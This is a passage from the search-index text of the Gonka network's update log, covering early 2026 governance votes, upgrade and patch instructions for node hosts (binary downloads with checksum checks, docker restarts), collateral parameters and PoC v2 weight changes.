This upgrade normalizes PoC participant weights by actual PoC elapsed time to reduce block-time drift effects and keep weight outcomes consistent with real execution duration.
Enable tools for Qwen235B
This upgrade adds tool calling args ( --enable-auto-tool-choice , --tool-call-parser hermes ) for Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 and sets validation threshold 0.958. To enable tools, vLLM inside the MLNode container must be restarted.
Additional Protocol Updates
Grace Period: The upgrade introduces a grace period with no Confirmation PoC for 3000 blocks after the upgrade, and less strict miss rate and invalidation rate threshold for the epoch of the upgrade.
Additional details for these changes are available in the governance artifacts: https://github.com/gonka-ai/gonka/blob/upgrade-v0.2.10/proposals/governance-artifacts/update-v0.2.10/README.md
"}, {"location": "gonka/docs/network-updates/#february-18-2026_1", "title": "February 18, 2026", "text": "Collateral parameter update proposal is now open for voting
The proposal for updated collateral parameters has been published for community vote.
Proposed parameters:
This means that within a single epoch, even if penalized, a miner cannot lose more than 0.5% of their collateral. And the required collateral represents only ~24% of daily rewards.
Warning: Collateral will take effect regardless of the outcome of the vote. If this proposal does not pass, the collateral parameters defined in Genesis will automatically activate at Epoch 180 instead of the ones listed above.
After the vote concludes and before Epoch 180, every miner must follow the instructions to transfer the required funds into collateral. Otherwise, their rewards will be reduced by 5x starting from Epoch 180.
To get the updated parameters:
export NODE_URL=https://node3.gonka.ai/\ndiff -u \\\n <(./inferenced query inference params -o json --node $NODE_URL/chain-rpc/ | jq '.params') \\\n <(./inferenced query gov proposal 28 -o json --node $NODE_URL/chain-rpc/ | jq '.proposal.messages[] | select(.\"type\"==\"inference/x/inference/MsgUpdateParams\") | .value.params') \\\n || true\nTo cast your vote (yes, no , abstain , no_with_veto):
export NODE_URL=https://node3.gonka.ai/\n./inferenced tx gov vote 28 yes \\\n--from <cold_key_name> \\\n--keyring-backend file \\\n--unordered \\\n--timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n--node $NODE_URL/chain-rpc/ \\\n--chain-id gonka-mainnet \\\n--yes\nTo check the voting status:
export NODE_URL=https://node3.gonka.ai/\n./inferenced query gov votes 28 -o json --node $NODE_URL/chain-rpc/\nVoting ends on February 19th, 2026, at 07:27:06 UTC.
"}, {"location": "gonka/docs/network-updates/#february-17-2026", "title": "February 17, 2026", "text": "v0.2.10 Upgrade Proposal Enters Governance
The upgrade proposal for the next on-chain software version v0.2.10 has now been published on-chain and is open for voting. If approved, the proposal introduces a significant optimization to PoC validation (disabled by default) and implements real-time weight normalization to improve network fairness and scalability.
Key changes
PoC Validation Sampling Optimization
This upgrade introduces a new PoC validation mechanism that reduces complexity from O(N^2) to O(N x N_SLOTS) by assigning each participant a fixed sampled set of validators.
PoC Weight Normalization by Real Time
This upgrade normalizes PoC participant weights by actual PoC elapsed time to reduce block-time drift effects and keep weight outcomes consistent with real execution duration.
Enable tools for Qwen235B
This upgrade adds tool calling args (--enable-auto-tool-choice , --tool-call-parser hermes) for Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 and set validation threshold 0.958. To enable tools, vLLM inside the MLNode container must be restarted. The upgrade introduces a grace period with no Confirmation PoC for 3000 blocks after the upgrade, and less strict miss rate and invalidation rate threshold for the epoch of the upgrade.
Additional Protocol Updates
ghcr.io/product-science/mlnode:3.0.12-post4 / ghcr.io/product-science/mlnode:3.0.12-post4-blackwell. Additional details for these and other changes are available in the governance artifacts https://github.com/gonka-ai/gonka/blob/upgrade-v0.2.10/proposals/governance-artifacts/update-v0.2.10/README.md
Required host actions after upgrade execution
If the proposal is approved and the upgrade executed, ML Node containers must be restarted to trigger re-deploy of the model. Run:
docker restart join-mlnode-1\nmlnode:3.0.12-post4-* should be completed within the 3000-block grace period introduced in the upgrade. How to vote
Proposal details and voting are available via inferenced. Any active node can be used. Available nodes include:
Cast your vote (yes, no , abstain , no_with_veto):
export NODE_URL=https://node3.gonka.ai/\n./inferenced tx gov vote 27 yes \\\n--from <cold_key_name> \\\n--keyring-backend file \\\n--unordered \\\n--timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n--node $NODE_URL/chain-rpc/ \\\n--chain-id gonka-mainnet \\\n--yes\nTo check the voting status:
export NODE_URL=https://node3.gonka.ai/\n./inferenced query gov votes 27 -o json --node $NODE_URL/chain-rpc/\nAttention
inferenced CLI output. Enums and int64/uint64 values are now encoded as strings due to the IBC stack to v8.7.0 upgrade..inference/data directory; ensure sufficient disk space is available. Guidance on safely removing old backups from the .inference directory is available in the documentation.application.db occupies a significant amount of disk space, the cleanup techniques described here may be applied.Collateral activation and proposed initial parameters
Less than 7 days remain until Epoch 180 - it’s time to prepare.
As discussed during the AMA and based on the argument presented by the community members, the proposal is to start with a small collateral requirement and minimal slashing.
Parameters to be submitted for community vote:
This means that within a single epoch, even if penalized, a miner cannot lose more than 0.5% of their collateral. And the required collateral represents only ~24% of daily rewards.
A separate announcement will be shared once the proposal is submitted for voting.
Warning: Collateral will take effect regardless of the outcome of the proposal vote. If this proposal does not pass, the collateral parameters defined in Genesis will automatically activate at Epoch 180 instead of the ones listed above.
Any future increase of collateral will be proposed through a separate vote. The goal is to observe network stability and ensure that unjustified punishments are rare and applied only for valid reasons. If stability is demonstrated, increasing the collateral gradually to the level described in the Tokenomics White Paper (e.g., ~100 GNK per H100) will support the network’s long-term success.
"}, {"location": "gonka/docs/network-updates/#february-13-2026", "title": "February 13, 2026", "text": "Upcoming upgrade v0.2.10 voting and execution schedule
The on-chain voting period for the upcoming software upgrade v0.2.10 is expected to begin Sunday evening (Los Angeles time) / Monday morning (UTC). If the proposal is approved through governance, the upgrade is scheduled to be executed on Tuesday.
Approximate timeline:
Please review the v0.2.10 upgrade PR on GitHub and leave your feedback. Bounties for meaningful review contributions may be proposed in the next upgrade.
https://github.com/gonka-ai/gonka/pull/695
"}, {"location": "gonka/docs/network-updates/#february-13-2026_1", "title": "February 13, 2026", "text": "If your node did not apply the latest upgrade in time, it may halt with a consensus failure at block 2628371. This happens because the node is running an outdated binary that is no longer compatible with the network. To recover, follow this guide https://gonka.ai/FAQ/#recovery-guide-consensus-failure-after-missing-patch
"}, {"location": "gonka/docs/network-updates/#february-12-2026", "title": "February 12, 2026", "text": "Network update: Patch available (PoC / cPoC overlap)
A patch is now available to address the incident observed in the current epoch (169/170).
Action required
Hosts are requested to apply the patch as soon as possible to ensure correct PoC validation behavior and allow block production to resume safely.
# Download Binary\nsudo rm -rf inferenced.zip .inference/cosmovisor/upgrades/v0.2.9-post3/ .inference/data/upgrade-info.json\nsudo mkdir -p .inference/cosmovisor/upgrades/v0.2.9-post3/bin/\nwget -q -O inferenced.zip 'https://github.com/product-science/race-releases/releases/download/release%2Fv0.2.9-post3/inferenced-amd64.zip' && \\\necho \"59896da31f4e42564fc0a2f63a9e0bf4f25f240428f21c0d5191b491847553df inferenced.zip\" | sha256sum --check && \\\nsudo unzip -o -j inferenced.zip -d .inference/cosmovisor/upgrades/v0.2.9-post3/bin/ && \\\nsudo chmod +x .inference/cosmovisor/upgrades/v0.2.9-post3/bin/inferenced && \\\necho \"Inference Installed and Verified\"\n\n# Link Binary\necho \"--- Final Verification ---\" && \\\nsudo rm -rf .inference/cosmovisor/current\nsudo ln -sf upgrades/v0.2.9-post3 .inference/cosmovisor/current\necho \"aaffbbdc446fbe6832edee8cb7205097b2e5618a8322be4c6de85191c51aca1d .inference/cosmovisor/current/bin/inferenced\" | sudo sha256sum --check && \\\n\n# Restart \nsource config.env && docker compose up node --no-deps --force-recreate -d\nhttps://github.com/gonka-ai/gonka/pull/748
"}, {"location": "gonka/docs/network-updates/#february-12-2026_1", "title": "February 12, 2026", "text": "Network incident: PoC / cPoC overlap (block production paused)
An overlap between cPoC (confirmation PoC) and PoC has been observed in the current epoch. Up to the final block of the epoch, is_confirmation_poc_active was observed as true.
The impact of this overlap is currently being assessed. Initial observations indicate that no node recorded PoC commits, resulting in zero weight accumulated for the epoch.
As a precautionary measure, block production was temporarily halted through coordinated action by miners.
The issue is being localized.
Please remain available in case a patch needs to be applied on short notice. Additional details and the patch instructions will be shared once ready.
"}, {"location": "gonka/docs/network-updates/#february-12-2026_2", "title": "February 12, 2026", "text": "Inference is now available
On-chain inference access is currently open and is not restricted to developers. Inference requests can be sent via Allowed Transfer Agents, which were introduced in the previous update. The current allowlist can be queried on-chain:
curl \"http://node2.gonka.ai:8000/chain-api/productscience/inference/inference/params\" | jq '.params.transfer_agent_access_params.allowed_transfer_addresses'\n gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le\n gonka1dkl4mah5erqggvhqkpc8j3qs5tyuetgdy552cp\n gonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5\n gonka1ddswmmmn38esxegjf6qw36mt4aqyw6etvysy5x\n gonka10fynmy2npvdvew0vj2288gz8ljfvmjs35lat8n\n gonka1v8gk5z7gcv72447yfcd2y8g78qk05yc4f3nk4w\n gonka1gndhek2h2y5849wf6tmw6gnw9qn4vysgljed0u\nNote: If an address is not included in the allowlist, inference requests routed through that address will not be accepted under the current configuration.
"}, {"location": "gonka/docs/network-updates/#february-10-2026", "title": "February 10, 2026", "text": "PR Review for Upgrade v0.2.10
The Pull Request for the next on-chain software upgrade, v0.2.10, is open for review. Feedback and suggested improvements are welcome. The current plan is to keep the review window open for about 2 days.
Bounties for meaningful contributions to this PR review may be proposed in the next upgrade.
This is a call for review of the Pull Request only, and not the start of formal voting. The governance voting process will begin after the review period concludes.
Key changes
PR #710 PoC Validation Sampling Optimization
This upgrade introduces a new PoC validation mechanism that reduces complexity from O(N^2) to O(N x N_SLOTS) by assigning each participant a fixed sampled set of validators. Reference design and analysis: https://github.com/gonka-ai/gonka/blob/upgrade-v0.2.10/proposals/poc/optimize.md
PR #725 PR PoC Weight Normalization by Real PoC Time
This upgrade normalizes PoC participant weights by actual PoC elapsed time to reduce block-time drift effects and keep weight outcomes consistent with real execution duration.
Other key changes:
API hardening and reliability fixes:
http.MaxBytesReader and align tests.InvalidateInference.Upgrade plan
Binary versions are expected to be updated via an on-chain upgrade proposal. For more information on the upgrade process, refer to https://github.com/gonka-ai/gonka/blob/upgrade-v0.2.10/docs/upgrades.md.
Existing hosts don’t need to upgrade their api and node containers. The updated container versions are intended for new hosts who join after the on-chain upgrade is complete.
Proposed process
Creating the release from upgrade-v0.2.10 branch (instead of main) minimizes the time that the /deploy/join/ directory on the main branch contains container versions that do not match the on-chain binary versions, ensuring a smoother onboarding experience for new hosts.
Testing and migration
Testing guidance and migration details for v0.2.10 are documented here. Please review carefully.
Compatibility notes
If you have any scripts that parse JSON output from the inferenced CLI, please re-check them after this upgrade. Due to the ibc-go upgrade to v8.7.0, enums are now encoded as strings instead of numbers, and int64/uint64 values are now also encoded as strings.
CLI update reminder
For granting permissions to warm keys created after the v0.2.9 upgrade, the CLI version v0.2.9 should be used.
"}, {"location": "gonka/docs/network-updates/#february-3-2026", "title": "February 3, 2026", "text": "PoC v2 inference-based weight adjustments
With PoC v2 active, weight assignment is now based on measured inference performance on the current model Qwen/Qwen3-235B-A22B-Instruct-2507-FP8. As a result, both median GPU weights and relative weight ratios between GPU types have been adjusted.
Observed GPU weight changes (Epoch 158 → 159)
GPU Type Epoch 158 Epoch 159 Change A100-PCIE-40GB 129.05 17.31 -86.6% A100-SXM4-80GB 204.12 127.75 -37.4% B200 739.81 300.75 -59.3% H100 80GB HBM3 424.73 292.88 -31.0% H100 PCIe 307.03 144.53 -52.9% H200 512.38 303.88 -40.7%Context
Qwen/Qwen3-235B-A22B-Instruct-2507-FP8.Qwen/Qwen3-235B-A22B-Instruct-2507-FP8, showed the same relative performance differences between GPU types as observed in PoC v2.Action for tracker (dashboard) maintainers
With the updated weight assignments in effect, tracker (dashboard) maintainers may wish to review their coefficients for epoch 159 and later to ensure consistency with the current PoC v2 weight assignment.
"}, {"location": "gonka/docs/network-updates/#february-2-2026", "title": "February 2, 2026", "text": "Network Update — Patch Available
A patch is now available to address the issue that caused the recent pause in block validation during the PoC cycle. Hosts are encouraged to apply the patch as soon as possible to ensure correct PoC validation behavior and allow block production to resume safely.
Action required
Hosts are requested to apply the patch as soon as possible to ensure correct PoC validation behavior and allow block production to resume safely.
# Download Binary\nsudo rm -rf inferenced.zip .inference/cosmovisor/upgrades/v0.2.9-post2/ .inference/data/upgrade-info.json\nsudo mkdir -p .inference/cosmovisor/upgrades/v0.2.9-post2/bin/\nwget -q -O inferenced.zip 'https://github.com/product-science/race-releases/releases/download/release%2Fv0.2.9-post2/inferenced-amd64.zip' && \\\necho \"8de51bdd1d2c0af5f1da242e10b39ae0ceefd215f94953b9d95e9276f7aa70c7 inferenced.zip\" | sha256sum --check && \\\nsudo unzip -o -j inferenced.zip -d .inference/cosmovisor/upgrades/v0.2.9-post2/bin/ && \\\nsudo chmod +x .inference/cosmovisor/upgrades/v0.2.9-post2/bin/inferenced && \\\necho \"Inference Installed and Verified\"\n\n# Link Binary\necho \"--- Final Verification ---\" && \\\nsudo rm -rf .inference/cosmovisor/current\nsudo ln -sf upgrades/v0.2.9-post2 .inference/cosmovisor/current\necho \"75410178a4c3b867c0047d0425b48f590f39b9e9bc0f3cf371d08670d54e8afe .inference/cosmovisor/current/bin/inferenced\" | sudo sha256sum --check && \\\n\n# Restart \nsource config.env && docker compose up node --no-deps --force-recreate -d\nBlock validation has been paused as a precautionary measure
Block validation has been paused through the collective action of hosts as a precaution due to a high risk that validation thresholds may not be met during the current PoC cycle. Based on the current assessment, the mechanism intended to handle this scenario may not operate as expected. To prevent validator finalization under uncertain or unsafe conditions, the network was halted prior to validator selection.
Next steps
The following actions are currently in progress:
Action required
All hosts must be prepared to install a patch on short notice. Please remain online and monitor announcements closely. Further instructions will be shared as soon as the patch is ready.
"}, {"location": "gonka/docs/network-updates/#february-1-2026", "title": "February 1, 2026", "text": "UPGRADE EXECUTED: v0.2.9 is now live on mainnet
The on-chain governance vote for Upgrade Proposal v0.2.9 has concluded. The proposal has been APPROVED, and the upgrade was successfully executed on the mainnet at block 2451000. This upgrade implemented PoC v2 for weight assignment and completed the transition away from the legacy PoC mechanism.
Attention
Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 will be eligible to enter the next (159) epoch and participate in PoC v2 weight assignment. ML Nodes running other models will not be included in the participant set for the upcoming epoch.Host preparation
Hosts are encouraged to verify that all ML Nodes:
Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 onlyGuidance on switching ML Nodes to Qwen/Qwen3-235B-A22B-Instruct-2507-FP8, upgrading ML Node images, and removing other models is available in the FAQ.
Key changes now active
PoC v2 activation
Model configuration
Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 may occur Eligibility criteria
For an ML Node to be eligible for PoC v2 weight assignment, both conditions must be met:
Qwen/Qwen3-235B-A22B-Instruct-2507-FP8Reward flow correction for cPoC cases
In cases where rewards are reduced or excluded due to cPoC penalties, the unaccounted portion is transferred to the Community pool. Previously, such rewards were redistributed among other participants.
Additional protocol updates
allowlist for the initial phaseallowlist Additional details for these changes are available in the governance artifacts: https://github.com/gonka-ai/gonka/tree/upgrade-v0.2.9/proposals/governance-artifacts/update-v0.2.9
"}, {"location": "gonka/docs/network-updates/#february-1-2026_1", "title": "February 1, 2026", "text": "The on-chain governance process for the v0.2.9 upgrade proposal is nearing its conclusion.
Hosts are encouraged to review the proposal on GitHub and participate in the vote.
Pre-downloading binaries in advance may help avoid relying on GitHub availability during the upgrade window.
# 1. Create Directories\nsudo mkdir -p .dapi/cosmovisor/upgrades/v0.2.9/bin \\\n .inference/cosmovisor/upgrades/v0.2.9/bin && \\\n\n# 2. DAPI: Download -> Verify -> Unzip directly to bin -> Make Executable\nwget -q -O decentralized-api.zip \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.9/decentralized-api-amd64.zip\" && \\\necho \"ac1ad369052a8c3d01af4d463c49cdd16fcbecc365d201232e7a2d08af8501c0 decentralized-api.zip\" | sha256sum --check && \\\nsudo unzip -o -j decentralized-api.zip -d .dapi/cosmovisor/upgrades/v0.2.9/bin/ && \\\nsudo chmod +x .dapi/cosmovisor/upgrades/v0.2.9/bin/decentralized-api && \\\necho \"DAPI Installed and Verified\" && \\\n\n# 3. Inference: Download -> Verify -> Unzip directly to bin -> Make Executable\nsudo rm -rf inferenced.zip .inference/cosmovisor/upgrades/v0.2.9/bin/ && \\\nwget -q -O inferenced.zip \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.9/inferenced-amd64.zip\" && \\\necho \"fc628d77aa516896924fbd8f60b8aa6a14161de4582aaef634de62382ea482eb inferenced.zip\" | sha256sum --check && \\\nsudo unzip -o -j inferenced.zip -d .inference/cosmovisor/upgrades/v0.2.9/bin/ && \\\nsudo chmod +x .inference/cosmovisor/upgrades/v0.2.9/bin/inferenced && \\\necho \"Inference Installed and Verified\" && \\\n\n# 4. Cleanup and Final Check\nrm decentralized-api.zip inferenced.zip && \\\necho \"--- Final Verification ---\" && \\\nsudo ls -l .dapi/cosmovisor/upgrades/v0.2.9/bin/decentralized-api && \\\nsudo ls -l .inference/cosmovisor/upgrades/v0.2.9/bin/inferenced && \\\necho \"52c79f06a8fc175ca6b3819523bb36afbf601d8a8320b1bb5a3cc089ceef62c4 .dapi/cosmovisor/upgrades/v0.2.9/bin/decentralized-api\" | sudo sha256sum --check && \\\necho \"ae20517e4bb38293202f7f5d52439d5315cb32c8f3c34a02fa65feaefadd6193 .inference/cosmovisor/upgrades/v0.2.9/bin/inferenced\" | sudo sha256sum --check\nv0.2.9 Upgrade Proposal Enters Governance
The upgrade proposal for the next on-chain software version v0.2.9 has now been published on-chain and is open for voting. If approved, the proposal enables PoC v2 for weight assignment and completes the transition away from the legacy PoC mechanism via on-chain governance.
Key changes
PoC v2 activation
Model configuration
Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 may occur Eligibility criteria
For an ML Node to be eligible for PoC v2 weight assignment, both conditions must be met:
Qwen/Qwen3-235B-A22B-Instruct-2507-FP8Reward flow correction for cPoC cases
In cases where rewards are reduced or excluded due to cPoC penalties, the unaccounted portion is transferred to the Community pool. Previously, such rewards were redistributed among other participants.
Additional protocol updates
allowlist for the initial phaseallowlist Additional details for these changes are available in the governance artifacts: https://github.com/gonka-ai/gonka/tree/upgrade-v0.2.9/proposals/governance-artifacts/update-v0.2.9
Host preparation
Hosts are encouraged to verify that all ML Nodes:
Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 onlyGuidance on switching ML Nodes to Qwen/Qwen3-235B-A22B-Instruct-2507-FP8, upgrading ML Node images, and removing other models is available in the FAQ.
How to vote
Proposal details and voting are available via inferenced. Any active node can be used. Available nodes include:
Cast your vote ( yes , no , abstain , no_with_veto ):
export NODE_URL=https://node4.gonka.ai/\n./inferenced tx gov vote 26 yes \\\n--from <cold_key_name> \\\n--keyring-backend file \\\n--unordered \\\n--timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n--node $NODE_URL/chain-rpc/ \\\n--chain-id gonka-mainnet \\\n--yes\nexport NODE_URL=https://node4.gonka.ai/\n./inferenced query gov votes 26 -o json --node $NODE_URL/chain-rpc/\nHosts are encouraged to review the proposal on GitHub and participate in the vote.
Attention
.inference/data directory. Ensure sufficient disk space is available before the upgrade. Guidance on safely removing old backups from the .inference directory is available in the documentation.application.db occupies a significant amount of disk space, the cleanup techniques described here may be applied.PoC validation participation notice
During the latest epoch, a large number of ML Nodes did not receive PoC weight. Analysis shows that this was caused by insufficient participation in PoC validation. In multiple cases, participants published nonces, but validation was either not performed or performed at a level significantly below protocol requirements. The following table shows participants who had a weight in the previous epoch, submitted PoC nonces in the current epoch, but either missed PoC validation phase or insufficiently participated in it: https://docs.google.com/spreadsheets/d/17agQXP77lATT2bNK12OEOzek5wNSptN2ktiSag3QXB0/
Their total weight was about 36%. Together with participants who did not participate in PoC at all, the total weight of those with no or low participation in PoC validation reached about 48%, which is critically high. If your node appears in this table with 0 in validated, please review your PoC validation logs and configuration to ensure validation is running as expected.
This notebook shows the process that was used to assemble the table above: https://github.com/gonka-ai/gonka/blob/gm/debug-155-1/debug-validation.ipynb.
"}, {"location": "gonka/docs/network-updates/#january-29-2026_1", "title": "January 29, 2026", "text": "UPGRADE EXECUTED: v0.2.8 is Now Live on Mainnet
The on-chain governance vote for Upgrade Proposal v0.2.8 has concluded. The proposal has been APPROVED and successfully executed on the mainnet. This upgrade implements the PoC v2 architecture, streamlines model support, and applies critical security and reliability fixes.
Key Changes Now Active
PoC v2 Core Integration
root_hash and count are recorded on-chain.,Model Availability Updates
The supported model set is now restricted. All previously supported models are removed from the active set except:
Qwen/Qwen3-235B-A22B-Instruct-2507-FP8Qwen/Qwen3-32B-FP8Security & Reliability Improvements
InferenceUrl to reject internal IPs and addition of timeouts to prevent request hangs.epochId to signatures for validation against the correct epoch.Host Requirements for PoC v2 Eligibility
Eligibility for PoC v2 participation requires Hosts to complete the following:
Qwen/Qwen3-235B-A22B-Instruct-2507-FP8Note
Nodes failing to meet both conditions will be ineligible for PoC v2 participation once the network transitions to a single-model configuration. Transition to PoC v2 for weight assignment remains subject to observational adoption thresholds and subsequent governance.
Maintenance & Operations
.inference/data directory. Ensure 250+ GB of free space is available.Monitoring node status and Discord communication is advised during the post-upgrade window to ensure stability.
"}, {"location": "gonka/docs/network-updates/#january-28-2026", "title": "January 28, 2026", "text": "How to switch to Qwen/Qwen3-235B-A22B-Instruct-2507-FP8, upgrade ML Nodes, and remove other models?
This guide explains how Hosts should update their ML Nodes in response to changes in v0.2.8 model availability and the upcoming PoC v2 update. ML Node configuration compliance with PoC v2 is observed starting Epoch 155. Hosts are encouraged to review and prepare their ML Node configuration before that point. Migration to PoC v2 can be scheduled after epoch 155. After the migration phase, weights from ML Nodes that do not meet the configuration requirements may not be counted.
1. Background: model availability changes (upgrade v0.2.8)
As part of the v0.2.8 upgrade, the active model set has been updated.
Supported models (active set)
Only the following models remain supported:
Qwen/Qwen3-235B-A22B-Instruct-2507-FP8Qwen/Qwen3-32B-FP8Qwen/Qwen3-32B-FP8 is supported during the migration period, but does not contribute to PoC v2 readiness or weight assignment. Participation in PoC v2 requires serving Qwen/Qwen3-235B-A22B-Instruct-2507-FP8.
Removed models
All previously supported models are removed from the active set and must not be served.
3. PoC v2 readiness criteria (Important)
Successful participation in the PoC v2 transition requires both of the following:
Important
3. Check ML Node allocation status (recommended safety step)
Before changing models, you should inspect the current ML Node allocation. Query your Network Node admin API:
curl http://127.0.0.1:9200/admin/v1/nodes\n\"timeslot_allocation\": [\n true,\n false\n]\nRecommended behavior
false4. Update models for ML Nodes: keep the supported model only
Pre-download model weights (recommended). To avoid startup delays, pre-download weights into HF_HOME:
mkdir -p $HF_HOME\nhuggingface-cli download Qwen/Qwen3-235B-A22B-Instruct-2507-FP8\nQwen/Qwen3-235B-A22B-Instruct-2507-FP8). For example:
curl -X PUT \"http://localhost:9200/admin/v1/nodes/node1\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"id\": \"node1\",\n \"host\": \"inference\",\n \"inference_port\": 5000,\n \"poc_port\": 8080,\n \"max_concurrent\": 800,\n \"models\": {\n \"Qwen/Qwen3-235B-A22B-Instruct-2507-FP8\": {\n \"args\": [\n \"--tensor-parallel-size\",\n \"4\",\n \"--max-model-len\",\n \"240000\"\n ]\n }\n }\n }'\nNote
node-config.json is used only on the first launch of the Network Node API or when the local state/database is removed. Edit it for a fresh restart. For existing nodes, model updates should be performed via the Admin API.
5. Upgrade the ML Node image (required for PoC v2)
Edit docker-compose.mlnode.yml and update the ML Node image:
Standard GPUs
image: ghcr.io/product-science/mlnode:3.0.12\nimage: ghcr.io/product-science/mlnode:3.0.12-blackwell\ngonka/deploy/join: source config.env\ndocker compose -f docker-compose.yml -f docker-compose.mlnode.yml pull\ndocker compose -f docker-compose.yml -f docker-compose.mlnode.yml up -d\n6. Verify model serving (applied at the next epoch)
Confirm the ML Node is serving Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 only, which is the only model used for PoC v2 weights and future weight assignment:
curl http://127.0.0.1:8080/v1/models | jq\ncurl http://127.0.0.1:9200/admin/v1/nodes\nGovernance and PoC v2 activation notes
PoC v2 is introduced in stages, not activated all at once.
Stage 1. Observation (current state after v0.2.8)
After the v0.2.8 upgrade, PoC v2 logic is available but not active for weight assignment.
During this stage:
Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 or Qwen/Qwen3-32B-FP8Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 and upgrade them to PoC v2-compatible versions in order to contribute to PoC v2 weight.Stage 2. Governance proposal (optional, future)
Once a sufficient level of adoption among active Hosts is observed (approximately 50%):
The adoption threshold is observational only and does not trigger any automatic changes.
Stage 3. Activation (only after governance approval)
PoC v2 becomes the active method of weight assignment only if and when the governance proposal is approved by the chain. Until this proposal is approved:
Summary checklist
Before PoC v2 activation, ensure that:
Qwen/Qwen3-235B-A22B-Instruct-2507-FP8The on-chain governance process for the v0.2.8 upgrade proposal is nearing its conclusion.
Upgrade details
Pre-downloading binaries in advance may help avoid relying on GitHub availability during the upgrade window.
# 1. Create Directories\nsudo mkdir -p .dapi/cosmovisor/upgrades/v0.2.8/bin \\\n .inference/cosmovisor/upgrades/v0.2.8/bin && \\\n\n# 2. DAPI: Download -> Verify -> Unzip directly to bin -> Make Executable\nwget -q -O decentralized-api.zip \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.8-post1/decentralized-api-amd64.zip\" && \\\necho \"45f28afba4758e54988f61cc358f0ad683e7832ab121ccd54b684fe4c9381a75 decentralized-api.zip\" | sha256sum --check && \\\nsudo unzip -o -j decentralized-api.zip -d .dapi/cosmovisor/upgrades/v0.2.8/bin/ && \\\nsudo chmod +x .dapi/cosmovisor/upgrades/v0.2.8/bin/decentralized-api && \\\necho \"DAPI Installed and Verified\" && \\\n\n# 3. Inference: Download -> Verify -> Unzip directly to bin -> Make Executable\nsudo rm -rf inferenced.zip .inference/cosmovisor/upgrades/v0.2.8/bin/ && \\\nwget -q -O inferenced.zip \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.8-post1/inferenced-amd64.zip\" && \\\necho \"f0f2e3ee8760e40a78087c98c639a7518bf062138141ed4aec2120f5bc622a67 inferenced.zip\" | sha256sum --check && \\\nsudo unzip -o -j inferenced.zip -d .inference/cosmovisor/upgrades/v0.2.8/bin/ && \\\nsudo chmod +x .inference/cosmovisor/upgrades/v0.2.8/bin/inferenced && \\\necho \"Inference Installed and Verified\" && \\\n\n# 4. Cleanup and Final Check\nrm decentralized-api.zip inferenced.zip && \\\necho \"--- Final Verification ---\" && \\\nsudo ls -l .dapi/cosmovisor/upgrades/v0.2.8/bin/decentralized-api && \\\nsudo ls -l .inference/cosmovisor/upgrades/v0.2.8/bin/inferenced && \\\necho \"421a761f3a7037d72ee0bd8b3f50a744349f717439c7e0fee28c55948dae9a7c .dapi/cosmovisor/upgrades/v0.2.8/bin/decentralized-api\" | sudo sha256sum --check && \\\necho \"308c63c7bda4fb668632ac3e13f3f6cccacf54c563c8e9fd473bcb48c7389fe0 .inference/cosmovisor/upgrades/v0.2.8/bin/inferenced\" | sudo sha256sum --check\nv0.2.8 Upgrade Proposal Enters Governance
The upgrade proposal for the next on-chain software version v0.2.8 has now been published on-chain and is open for voting! Your review and vote are critical to ensuring the network's stability and future capabilities.
Key changes in v0.2.8
PoC v2 (Core upgrade)
Model availability changes
As part of the v0.2.8 upgrade, the set of supported models is updated. All previously supported models are removed from the active set, except for:
Qwen/Qwen3-235B-A22B-Instruct-2507-FP8Qwen/Qwen3-32B-FP8Successful participation in the PoC v2 using Qwen/Qwen3-235B-A22B-Instruct-2507-FP8, together with the required ML Node version, is used to assess readiness for the PoC v2 transition. Once a sufficient level of adoption (~50%) among active Hosts is observed, a separate governance proposal may be submitted to approve and activate the PoC v2 for assigning weights. This threshold is observational and does not trigger any automatic network changes.
After the next network step is approved through governance, the network will temporarily support only Qwen/Qwen3-235B-A22B-Instruct-2507-FP8.
Security, correctness, and reliability improvements
Due to the volume of changes, only selected items are highlighted here. A comprehensive list of additional updates and fixes is available in the GitHub pull request.
Host action required
To participate in the PoC v2 transition, Hosts must complete both of the following steps:
Qwen/Qwen3-235B-A22B-Instruct-2507-FP8Serving Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 without upgrading the ML node is not sufficient for PoC v2 participation. Nodes that do not meet both conditions will not be considered eligible for PoC v2 participation once the network switches to the single-model configuration. The ML Node upgrade must be completed before PoC v2 is fully enabled through governance.
How to vote
You can fetch the proposal details and cast your vote using the inferenced command. Please note that any active node can be used to query or cast a vote. Currently available nodes include:
To check the voting status:
export NODE_URL=https://node4.gonka.ai/\n./inferenced query gov votes 25 -o json --node $NODE_URL/chain-rpc/\nTo vote ( yes , no , abstain , no_with_veto ):
export NODE_URL=https://node4.gonka.ai/\n./inferenced tx gov vote 25 yes \\\n--from <cold_key_name> \\\n--keyring-backend file \\\n--unordered \\\n--timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n--node $NODE_URL/chain-rpc/ \\\n--chain-id gonka-mainnet \\\n--yes\nDeadlines
Please take a look and vote if you're a host.
ATTENTION 1: Please plan to be online during the upgrade window, so any follow-up steps or mitigation instructions can be applied promptly if needed.
ATTENTION 2: During upgrades, Cosmovisor creates a full state backup in the .inference/data directory. Please ensure sufficient disk space is available. Instructions on safely removing old backups from the .inference directory are available here. If application.db occupies a significant amount of disk space, the cleanup techniques described here can be used.
Note: After the upgrade, Postgres can be configured as storage for local payloads.
"}, {"location": "gonka/docs/network-updates/#january-19-2026", "title": "January 19, 2026", "text": "Proposal Update: Stabilization Period Extension Approved
